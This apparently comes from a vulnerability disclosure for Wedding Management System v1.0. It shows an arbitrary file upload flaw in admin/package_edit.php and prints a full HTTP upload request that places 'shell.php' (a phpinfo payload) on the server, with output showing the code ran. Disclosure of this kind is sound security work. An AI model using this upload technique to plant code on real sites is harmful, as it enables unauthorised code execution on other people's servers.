

main

...

bug\_report / vendors / codeastro.com / wedding-management-system / RCE-2.md



debug601 Update RCE-2.md

History

1 contributor

56 lines (38 sloc) | 1.96 KB

...

# Wedding Management System v1.0 by codeastr.com has arbitrary code execution (RCE)

vendor: <https://codeastro.com/wedding-management-system-in-php-with-source-code/>

Vulnerability url: [http://ip/Wedding-Management/admin/package\\_edit.php?id=1](http://ip/Wedding-Management/admin/package_edit.php?id=1)

Loophole location: The editing function of "Services" module in the background management system-- > there is an arbitrary file upload vulnerability (RCE) in the picture upload point of "package\_edit.php" file.

Click "Edit" to save

Request package for file upload:

```
POST /Wedding-Management/admin/package_edit.php?id=1 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Referer: http://192.168.1.19/Wedding-Management/admin/package\_edit.php?id=1  
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99  
Connection: close  
Content-Type: multipart/form-data; boundary=-----2870452071632  
Content-Length: 534

-----28704520716321  
Content-Disposition: form-data; name="wedding\_type"

2  
-----28704520716321  
Content-Disposition: form-data; name="price"

0.00  
-----28704520716321  
Content-Disposition: form-data; name="preview\_image"; filename="shell.php"  
Content-Type: application/octet-stream

JFJF  
<?php phpinfo();?>  
-----28704520716321  
Content-Disposition: form-data; name="submit"


-----28704520716321--





The files will be uploaded to this directory \admin\upload\categories\

磁盘 (C:) ▾ xampp ▾ htdocs ▾ Wedding-Management ▾ admin ▾ upload ▾ categories					
共享 ▾ 放映幻灯片 新建文件夹					
名称 ▴	日期	类型	大小	标记	
01 LOGIN DETAI...	2022/4/14 15:43	文本文档	1 KB		
classic.jpg	2022/4/13 18:26	JPEG 图像	212 KB		
elegant.jpg	2022/4/14 15:31	JPEG 图像	86 KB		
elite.jpg	2022/4/14 15:31	JPEG 图像	159 KB		
premier.jpg	2022/4/13 18:34	JPEG 图像	86 KB		
shell.php	2022/5/12 10:21	PHP 文件	1 KB		
timeless gold.jpg	2022/4/14 15:31	JPEG 图像	26 KB		

We visited the directory of the file in the browser and found that the code had been executed

 Load URL



 Split URL



 Execute



192.168.1.19/Wedding-Management/admin/upload/categories/shell.php

☐ Post data

☐ Referrer

 0xHEX 

 %URL 

 BASE64 

Insert string to re

JFJF

## PHP Version 8.0.7

System	Windows NT HOST1 6.1 build 7601 (Windows 7)
Build Date	Jun 2 2021 00:33:38
Build System	Microsoft Windows Server 2016 Standard [10.0]
Compiler	Visual C++ 2019
Architecture	x64
Configure Command	cmd /c "cd c:\php-snap-build\dep-aux\oracle\x64\php-snap-build\dep-aux\oracle\x64\instantclient_19.9\sdk\sha